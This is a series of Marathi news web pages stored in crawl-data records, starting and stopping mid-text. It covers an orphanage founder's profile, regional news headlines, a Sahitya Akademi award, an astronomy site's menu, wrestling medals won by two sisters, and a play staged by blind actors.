सर्वांत मुख्य अडचण होती. बरं सरकारी अनुदान आम्हाला मिळत नाही.\nसमाजातल्या दानशूर लोकांनी केलेल्या मदतीच्या बळावर जगन्नाथाचा हा गाडा चालतो आहे.\nआमच्याकडची १८ मुले खासगी शाळांमळून शिकताहेत, हे विशेष सर्वांची फी वेळेत अदा केली जाते. मुलांना उत्तमोत्तम सुविधा पुरवण्याकडे आमचे लक्ष असते. ही मुलेही शेवटी देशाचे भविष्य आहेत. एक जबाबदार भारतीय म्हणून स्वत:च्या पायावर ते उभे राहिले पाहिजेत, हाच आमचा हेतू आहे.’’\n‘‘लोकसहभागातून लवकरच राष्ट्रीय राजमार्ग २४ वर आश्रम उभा राहणार आहे. ४५ लाख रुपये मोजून इथे जागा विकत घेऊन झालेली आहे. जागा खरेदी करण्यासाठी मी स्वत:ची दुकानेही विकून टाकली. बांधकाम लवकरच सुरू होईल. जवळपास अडीच कोटी रुपये खर्च त्यासाठी येईल, असा अंदाज आहे.’’ हे नमूद करताना तरुण यांना साहजिकच समाजातल्या दानशुरांकडून मदतीची अपेक्षा असतेच.\n‘बचपन बचाओ’चे कैलाश सत्यार्थी हे तरुण यांचे आदर्श आहेत. तरुण हे इतर लोकांना योगासनाचे धडेही देत असतात म्हणूनही त्यांना आचार्य हे बिरुद बिलगडलेले आहे. तरुण यांचा जाती-पातीवर अजिबात विश्वास नाही. मानवता हाच सर्वोच्च धर्म आहे, अशी त्यांची श्रद्धा आहे. ‘आचार्य तरुण मानव’ हे नवे नाव अर्थातच त्यांना उगीच पडलेले नाही\nभीक मागणाऱ्या, कचरा गोळा करणाऱ्या आणि अन्य भटकलेल्या मुलांच्या पुनर्वसनातही तरुण गुप्ता सक्रिय असतात. आपल्या वर्तुळातील सर्वांनाच ते बाल हक्कांबद्दल जागरूक करत असतात. बालमजुरीविरुद्ध लढ्यातही त्यांचा सहभाग असतो. माहिती मिळताच पोलिसांच्या मदतीने ते बाल कामगारांना मुक्त करतात आणि मुख्य प्रवाहात आणून सोडण्यासाठी जिवाचे रान करतात. कितीतरी मुलांना त्यांची अशी मदत झालेली आहे.\nभेटीचा शेवटही आचार्य तरुण मानव कवितेच्या एका ओळीने करतात. या ओळी म्हणजे आचार्य तरुण मानव यांच्यासाठी जीवनविषयक तत्वज्ञानच आहे. तरुण यांनी सादर केलेल्या उर्दू कवी निदा फाजली यांच्या या ओळी अशा…\n‘‘घर से मस्जिद है बहुत दूर चलो यूँ कर लें,\nकिसी रोते हुये बच्चे को हंसाया जाये.’’\nरडत-विव्हळत असलेल्या मुलांना हसवणे ही परमेश्वराला सर्वाधिक प्रिय असणारी प्रार्थना होय, हा या ओळींचा भावार्थ.\nमोदींचा मान, ‘अॅप्स’ची खाण, देशाची शान, खरा किंग खान… इम्रानभाई\nखरकटी काढणारा ‘तो’ आज कोट्यधीश\n…अन् रिक्षावाल्याचं लेकरू झालं ‘आयएएस’\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00177.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/category/uncategorized/page/4", "date_download": "2018-09-25T17:16:47Z", "digest": "sha1:J3NBB7FU4OT3JRTLYDP4MONQJDPP6TYB", "length": 9174, "nlines": 50, "source_domain": "www.tarunbharat.com", "title": "Top News Archives - Page 4 of 538 - तरुण भारत | तरुण भारत", "raw_content": "\nप्रशिक्षक बदलाचा कोणताही विचार नाही : राही सरनोबत\nपुणे / प्रतिनिधी : 2020 साली टोकिओ येथे होणाऱया ऑलिंपिक स्पर्धेची तयारी सुरू असून प्रशिक्षक बदलण्याबाबत कोणताही विचार नाही. त्यामुळे ऑलिंपिकपर्यंत जर्मन प्रशिक्षक मुंखाबायर दोर्जसुरेन हेच माझे प्रशिक्षक राहतील, असे जकार्ता येथील आशियाई स्पर्धेतील सुवर्णपदक विजेतील नेमबाजपटू सुवर्णकन्या राही सरनौबत हिने शनिवारी येथे स्पष्ट केले. आशियाई स्पर्धेत सुवर्णपदकाचा वेध घेतल्याबद्दल तसेच अर्जुन पुरस्कार जाहीर झाल्याबद्दल राहीचा जिल्हा क्रीडा कार्यालय ...Full Article\nपुणे विसर्जन मिरवणुकीची यंदा वेळेत सांगता\nपुणे / प्रतिनिधी : पुणे शहरातील सार्वजनिक गणेशोत्सव मंडळांच्या कार्यकर्त्यांनी विसर्जन मिरवणुकीची जय्यत तयारी केली असून, मानाच्या पाचही मंडळांनी लवकरात लवकर गणरायाचे विसर्जन करण्याचा निर्णय घेतला आहे. त्यामुळे यंदा ...Full Article\nलोणावळ्यातील घरफोडय़ाकडून 15 लाखांचा मुद्देमाल हस्तगत\nलोणावळा / प्रतिनिधी : लोणावळा शहरातील बंद घरे व बंगले यांची टेहळणी करून घरफोडय़ा करणाऱया अट्टल चोरटय़ाला लोणावळा शहर पोलीस व पुणे ग्रामीणच्या स्थानिक गुन्हे अन्वेषण पथकाने संयुक्त कारवाई ...Full Article\nज्येष्ठ कलावंत प्रभाकर करंदीकर यांचे निधन\nपुणे / प्रतिनिधी : मराठी संगीत रंगभूमीवरील ज्येष्ठ कलावंत आणि भरत नाटय़ संशोधन मंदिर या संस्थेचे माजी अध्यक्ष प्रभाकर करंदीकर यांचे शुक्रवारी रात्री येथे निधन झाले. ते 84 ...Full Article\nपुण्यात स्वाईन फ्लूचा थैमान ; मृतांचा आकडा 20वर\nऑनलाईन टीम / पुणे : स्वाईन फ्लूने पुणे शहरात आणखी 10 जणांचा बळी घेतला आहे. त्यामुळे मृतांचा आकडा 20 वर पोहचला आहे. तर सध्या विविध रुग्णालयांमध्ये 109 रुग्णांवर उपचार ...Full Article\nडिजे नाही तर विसर्जन नाही ; पुण्यातील गणेश मंडळांचा निर्णय\nऑनलाईन टीम / पुणे : गणपती विसर्जन मिरवणुकीत डीजे वाजवण्यास परवानगी देण्याच्या मागणीसाठी पुण्यातील गणेश मंडळे एकवटली आहेत. ‘डीजेला परवानगी न दिल्यास विसर्जनही करणार नाही,’ असा इशारा शहरातील मंडळांनी ...Full Article\nएकटय़ा मुलींना हेरून बलात्कार, वसईत सीरियल रेपिस्टची दहशत\nऑनलाईन टीम / वसई : वसई, विरार आणि नालासोपाऱयात एका सीरियल रेपिस्टची दहशत पसरली आहे. हा नराधम एकट्या अल्पवयीन मुलींना हेरुन घरात घुसतो आणि त्यांच्यावर बलात्कार करतो. त्यामुळे तुमच्या ...Full Article\nलोकसभा निवडणुकीत जालन्यातून दानवेंना चितपट करूनच परत येणार : बच्चू कडू\nऑनलाईन टीम / अमरावती : अपक्ष आमदार बच्चू कडू यांनी जालन्यातून लोकसभा निवडणूक लढवण्याची तयारी सुरु केली आहे. शेतकऱयांना साले म्हणून संबोधणाऱया भाजप प्रदेशाध्यक्ष रावसाहेब दानवे यांचा पराभव करुनच ...Full Article\nपाकिस्तान दहशतवाद्यांसाठी आजही स्वर्गच : अमेरिका\nऑनलाईन टीम / मुंबई : पाकिस्तानदहशतवाद्यांसाठी सर्वात सुरक्षित देश असल्याचे अमेरिकन सरकारने आपल्या वार्षिक अहवालात म्हटलं आहे. अमेरिकेच्या सरकारनं ’कंट्री रिपोर्ट ऑन टेररिझम 2017’ या नावानं एक अहवाल प्रसिद्ध ...Full Article\nइंधर दरवाढीचा पुन्हा भडका पेट्रोलच्या दरात 11 पैशांची वाढ\nऑनलाईन टीम / मुंबई : आजही पेट्रोलच्या किमतीत वाढ झाली आहे. मुंबईत पेट्रोलचा दर 11 पैशांनी वाढला आहे. त्यामुळे मुंबईकरांना पेट्रोलसाठी 89.80 रुपये मोजावे लागणार आहेत. तर सलग चौथ्या ...Full Article\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00178.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "https://lokmat.news18.com/national/poet-shrikant-deshmukh-got-sahitya-acadami-award-277657.html", "date_download": "2018-09-25T16:49:47Z", "digest": "sha1:5I66YL3OUKCR5NF4KBSK7VXNW2EXZK3J", "length": 13633, "nlines": 127, "source_domain": "lokmat.news18.com", "title": "कवी श्रीकांत देशमुख यांना साहित्य अकादमी पुरस्कार", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nकवी श्रीकांत देशमुख यांना साहित्य अकादमी पुरस्कार\nप्रसिद्ध मराठी कवी श्रीकांत देशमुख यांच्या ‘बोलावें ते आम्ही’ या काव्यसंग्रहास वर्ष 2017 चा साहित्य अकादमी पुरस्कार जाहीर झाला आहे.\nनवी दिल्ली, 21 डिसेंबर : प्रसिद्ध मराठी कवी श्रीकांत देशमुख यांच्या ‘बोलावें ते आम्ही’ या काव्यसंग्रहास वर्ष 2017 चा साहित्य अकादमी पुरस्कार जाहीर झाला आहे. रवींद्र भवनस्थित साहित्य अकादमीच्या मुख्यालयात आज साहित्य अकादमीच्या वार्षिक पुरस्कारांची घोषणा करण्यात आली. देशातील 24 प्रादेशिक भाषांतील विविध साहित्य प्रकारात सर्वोत्कृष्ट पुस्तकांची घोषणा यावेळी करण्यात आली.\nमराठी कवी श्रीकांत देशमुख लिखित बोलावे ते आम्ही ’ या काव्यसंग्रहाची मराठी भाषेतील सर्वोत्कृष्ट पुस्तक म्हणून निवड करण्यात आली. 1 लाख रूपये रोख, ताम्रपत्र आणि शाल असे या पुरस्काराचे स्वरूप आहे. सुजाता देशमुख यांना अनुवादासाठी पुरस्कार दिला गेलाय.\nसुजाता देशमुख अनुवादित 'गौहर जान म्हणतात मला' या पुस्तकास उत्कृष्ट अनुवादाच्या पुरस्कार जाहीर झाला आहे. माय नेम इज गौहर जान या विक्रम संपथ लिखित इंग्रजी पुस्तकाचा तो अनुवाद आहे. ५० हजार रुपये रोख ,ताम्रपट असे पुरस्काराचे स्वरूप आहे.\n12 फेब्रुवारी 2018रोजी या पुरस्कारांचे वितरण होणार आहे. मराठी साहित्यातील पुस्तक निवड समितीमध्ये प्रसिध्द साहित्यिक संजय पवार, पुष्पा भावे आणि सदानन्द मोरे यांचा समावेश होता.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nTags: shrikant deshmukhश्रीकांत देशमुखसाहित्य अकादमीचा पुरस्कार\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nजम्मू- काश्मीरची स्थिती खराब, अजून एका सर्जिकल स्ट्राइकची आवश्यकता- लष्कर प्रमुख\nगुन्ह्यांचे खटले असलेल्या नेत्यांना अपात्र ठरवण्यास सुप्रीम कोर्टाचा नकार\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00178.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "http://avakashvedh.com/itar/jodtaarelist.html", "date_download": "2018-09-25T16:34:19Z", "digest": "sha1:BF2KQDJ5THLC57FUPMVTBY2NMBHQJABV", "length": 8146, "nlines": 231, "source_domain": "avakashvedh.com", "title": "Avakashvedh - First Marathi Website on Astronomy", "raw_content": "\nपहिल्या पानावर जाण्यासाठी इथे क्लिक करा.\nखगोलशास्त्राची सुरुवात कशी कराल\nअवकाशवेध.कॉम वरील लेख आणि कथा वाचण्यासाठी इथे क्लिक करा.\nसूर्यानंतरच्या २० तेजस्वी तारका\nकाही महत्त्वाच्या रुपविकारी तारका\nअवकाशातील ११० मेसियर वस्तू\nकृष्णविवर - अवकाशातील विवर\n- मर्यादित आणि व्यापक\nखगोलशास्त्रावरील विविध प्रश्नोत्तरे पाहण्यासाठी इथे क्लिक करा.\nबुध ग्रह दिसण्याच्या तारखा,\nवेळ व त्यांचे स्थान\nइतर ग्रहांवर आपले वजन पहा\nइतर ग्रहांवर आपले वय पहा\nहाताच्या सहाय्याने तार्‍यांमधिल अंतर मोजणे\nधूमकेतूंना नावे देण्याची पद्धती\n२००१ ते २०२९ : शनी ग्रहाच्या\nसूर्य ग्रहण : २००९ - २०१२\nचंद्रग्रहण : २००९ - २०१५\nचंद्राच्या कलेवरुन अमावास्या आणि पौर्णिमांचे गणित \nखगोलीय अंतरे मोजण्याच्या पद्धती\nअवकाशीय वस्तू पाहण्याची क्षमता\nआम्ही केलेली निरीक्षणे पाहण्यासाठी क्लिक करा.\nअवकाशवेध.कॉमचे मोफत सभासद होण्यासाठी इथे क्लिक करा.\nपहिल्या पानावर जाण्यासाठी इथे क्लिक करा.\nअक्षरांचा आकार वाढवा / अक्षरांचा आकार पुर्ववत करा\nअवकाशवेध.कॉम वरील माहिती संबंधी", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00179.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "http://www.esakal.com/pune/saloni-and-sanika-jadhav-wins-gold-and-silver-national-level-114662", "date_download": "2018-09-25T17:42:01Z", "digest": "sha1:RDDCL2U3QDZ3KC2JT7KT333CBM75E43O", "length": 14084, "nlines": 170, "source_domain": "www.esakal.com", "title": "saloni and sanika jadhav wins gold and silver in national level सलोनी व सानिका जाधव भगिनींना राष्ट्रीय स्पर्धेत सुवर्ण व रौप्य | eSakal", "raw_content": "\nसलोनी व सानिका जाधव भगिनींना राष्ट्रीय स्पर्धेत सुवर्ण व रौप्य\nसोमवार, 7 मे 2018\nभिगवण : भादलवाडी ता. इंदापुर) येथील बिल्ट इंग्लिश मेडियम स्कुलच्या विद्यार्थिनी सलोनी जाधव व सानिका जाधव या दोघी भगिनींनी बालेवाडी पुणे येथे संपन्न झालेल्या सहाव्या नॅशनल ट्रेडिशनल रेसलींग व पॅनक्रेशन चॅम्पीयनशीप स्पर्धेमध्ये ३ सुवर्ण व ३ रौप्य पदके मिऴवत ऐतिहासिक कामगिरी केली आहे. ग्रामीण भागातील मुलींनी राष्ट्रीय स्पर्धेमध्ये केलेल्या या चमकदार कामगिरी बद्दल त्यांचेवर अभिनंदनाचा वर्षाव होत आहे.\nभिगवण : भादलवाडी ता. इंदापुर) येथील बिल्ट इंग्लिश मेडियम स्कुलच्या विद्यार्थिनी सलोनी जाधव व सानिका जाधव या दोघी भगिनींनी बालेवाडी पुणे येथे संपन्न झालेल्या सहाव्या नॅशनल ट्रेडिशनल रेसलींग व पॅनक्रेशन चॅम्पीयनशीप स्पर्धेमध्ये ३ सुवर्ण व ३ रौप्य पदके मिऴवत ऐतिहासिक कामगिरी केली आहे. ग्रामीण भागातील मुलींनी राष्ट्रीय स्पर्धेमध्ये केलेल्या या चमकदार कामगिरी बद्दल त्यांचेवर अभिनंदनाचा वर्षाव होत आहे.\nबालेवाडी, पुणे येथील श्री शिवछत्रपती आंतरराष्ट्रीय क्रिडा संकूलामध्ये ऑल इंडिया ट्रेडिशनल रेसलींगच्या वतीने राष्ट्रीय स्पर्धेचे आयोजन करण्यात आले होते. या स्पर्धेमध्ये सलोनी संतोष जाधव या भादलवाडी येथील विद्या प्रतिष्ठाण बिल्ट इंग्लिश मिडियम स्कुलच्या इयत्ता ८ वी मध्ये शिकत असलेल्या विद्यार्थिनीने १४ वर्षे वयोगटाखालील ५० किलो वजन गटामध्ये मास रेसलींग, पॅनक्रेशन रेसलींग व बेल्ट रेसलिंग या तीन प्रकारामध्ये सहभाग घेतला होता. त्यापैकी तिने मास रेसलींग स्पर्धेमध्ये सुवर्णपदक तर पॅनक्रेशन रेसलींग व बेल्ट रेसलींग या दोन्ही स्पर्धामध्ये रौप्यपदक पटकावले आहे.\nयाच स्कुलमधील सानिका संतोष जाधव या इयत्ता तिसरी मध्ये शिकत असलेल्या विद्यार्थिनीने ९ वर्षे वयोगटाखालील २६ किलो वजन गटामध्ये मास रेसलींग, पॅनक्रेशन रेसलींग व बेल्ट रेसलिंग या स्पर्धामध्ये सहभाग घेतला होता. त्यामध्ये मास रेसलींग व पॅनक्रेशन रेसलींग या दोन स्पर्धामध्ये सुवर्ण पदक तर बेल्ट रेसलींगमध्ये रौप्यपदक पटकावले आहे. दोघी भगिनींनी मिळुन राष्ट्रीय स्पर्धेमध्ये तीन सुवर्ण व तीन रौप्य पदके पटकावत ऐतिहासिक कामगिरी केली आहे. दोघींना महाराष्ट्र राज्य ज्युदो कराटे स्पोर्ट अॅकॅडमीचे अध्यक्ष दत्तात्रय व्यवहारे, प्रशिक्षक जयश्री व्यवहारे, अजिनाथ बळगानोरे, सुनिल जाधव, सागर बनसुडे, ज्ञानेश्वर भोई, अनिल जाधव यांचे मार्गदर्शन लाभले. विद्या प्रतिष्ठाण बिल्ट इंग्लिश स्कूलच्या प्राचार्या सरिता शिंदे, क्रिडा शिक्षक श्री. नवनाथ इंगळे अभिनंदन केले.\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nबीड : महाराष्ट्र, कर्नाटक व मध्यप्रदेश, उत्तरप्रदेश व राजस्थान या राज्यांतील अनेक जिल्ह्यांत भौतिक, आर्थिक व औद्योगिक विकासाला चालना मिळण्यासाठी...\nशरद पवारांनी सोडविली दोन वाहिन्यांमधील 'कुस्ती'\nपुणे- कुस्ती स्पर्धा भरविण्यावरुन दोन मराठी वाहिन्यांमध्ये सुरु असलेल्या वादावर शरद पवार यांनी मध्यस्थी केली आहे. या दोन्ही वाहिन्यांनी कुस्तीगीर...\nपक्षीमित्रांनी दिले सातभाई पक्षाला जीवदान\nनिजामपूर-जैताणे (धुळे) : माळमाथा परिसरातील लोणखेडे (ता.साक्री) येथील जिल्हा परिषद शाळेचे प्राथमिक शिक्षक, पक्षीमित्र राकेश जाधव, गोकुळ पाटील व कढरे (...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00179.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.saamana.com/meghdoot-play-with-19-blind-artist/", "date_download": "2018-09-25T17:04:48Z", "digest": "sha1:5H7QMTF3VTSRSLLDV2NXA6LOCFG3HACV", "length": 24352, "nlines": 264, "source_domain": "www.saamana.com", "title": "उजळ वाटांचा सोबती, अपूर्व मेघदूत ! | Saamana (सामना)", "raw_content": "\n– सिनेमा / नाटक\n तुमच्या खात्यात लॉग इन करा\nपरवलीचा शब्द परत मिळवा\nपरवलीचा शब्द तुम्हाला पाठविला जाईल\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\n20 ऑक्टोबर पासून गाळपाचा शुभारंभ; बीड जिल्ह्यात सात कारखाने सज्ज\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nरॉबर्ट वडेरांचा तुरुंगवास पक्का, भाजपचा काँग्रेसवर पलटवार\nराखी सावंतची आचरट इच्छा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nसंयुक्त राष्ट्राच्या बैठकीत ‘ही’ ठरली सर्वात छोटी पाहुणी, रचला इतिहास\nमालदीव राष्ट्राध्यक्ष निवडणुकीत इब्राहिम विजयी; चीनधार्जिणे यामीन पराभूत\nजपानने उल्केवर रोवर उतरवला\nपाकिस्तानात ‘सैराट-2’, प्रियकर-प्रेयसीचे वडिलांनी मुंडके उडवले\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nIND VS AFG LIVE : अंबाती रायडू अर्धशतकानंतर बाद\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nक्रिकेट हा कर्णधाराचा खेळ, प्रशिक्षकाचा नव्हे ; सौरभ गांगुलीचा शास्त्रींवर निशाणा\nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\n– सिनेमा / नाटक\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nन्यायालयाचा अजब निर्णय; कोंबड्याने दिलं अंडं, सुनावली जिवंत जाळण्याची शिक्षा\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमोठ्या मुलीच्या फोटोत छोट्या मुलीचा जन्मापूर्वीच फोटो, रहस्य उलगडता उलगडेना\nमहिलांकडून आंघोळ घालून घेण्यासाठी तरुणाचा गतिमंद असल्याचा बनाव\nरोखठोक : पोस्टर बॉय काय करतोय\nउजळ वाटांचा सोबती, अपूर्व मेघदूत \n<< प्रेरणा >> शुभांगी बागडे\n१९ अंध कलाकारांना सोबत घेत महाकवी कालिदासाचे अपूर्व मेघदूत रंगभूमीवर आणले आहे दिग्दर्शक स्वागत थोरात आणि लेखक गणेश दिघे यांनी. रंगभूमीच्या इतिहासातील हा दुर्मिळ प्रयोग ९ जानेवारी १७ रोजी विलेपार्लेच्या मास्टर दीनानाथ मंगेशकर नाटय़गृहात. आपल्या कलाविष्कारातून डोळसांनाही लाजवेल असा हा प्रयोग असेल हे नक्की.\nआर्किटेक्ट, वन्यजीव छायाचित्रकार, नाटय़दिग्दर्शक स्वागत थोरात यांची महत्त्वाची ओळख आहे ते त्यांनी अंधांसाठी केलेलं मोलाचं काम. दृष्टिहिनांना जगाच्या अधिक जवळ आणण्यासाठीची त्यांची धडपड स्पर्शज्ञान या ब्रेल लिपीतील पहिल्या नियतकालिकाद्वारे साकारली गेली आणि पुस्तकांच्या विश्वात रममाण होण्याची संधी दृष्टीहिनांना लाभली. नुकतीच लुई ब्रेल यांची जयंती साजरी झाली. त्यानिमित्त स्वागत थोरात यांच्या भरीव कार्याचा हा वेध.\nस्वागत थोरात यांची अंधांच्या जगाशी ओळख झाली ती १९९३ मधील ‘काळोखातील चांदणे’ या शैक्षणिक डॉक्युमेंटरीच्या निमित्ताने. दूरदर्शनच्या बालचित्रकाणीसाठी बनवलेल्या डॉक्युमेंटरीत अंधांसोबत काम करताना स्वागत यांना त्यांच्या जगाची, त्यांच्या जगण्याची एक केगळीच ओळख घडली.\nया डॉक्युमेंटरीच्या निमित्ताने दृष्टीहीनांसोबत केळ घालकताना त्यांना जाणकलं, की दृष्टी नसली तरी यांच्यात अनेक कौशल्य दडलेली आहेत. विविध कलात्मक गोष्टी साकारण्याची त्यांची क्षमता आहे. त्यांच्यातील कलागुणांचा विकास करत स्कागत यांनी या कलाकारांसोबत काम करायला सुरुकात केली. याच दरम्यान त्यांनी स्कातंत्र्याची यशोगाथा हे नाटक बसकलं. यात 88 दृष्टिहीन कलाकार सामील होते. या नाटकाने गिनीज बुक ऑफ कर्ल्ड रेकॉर्ड्स मध्ये आपली नोंद केली. नाटकाला 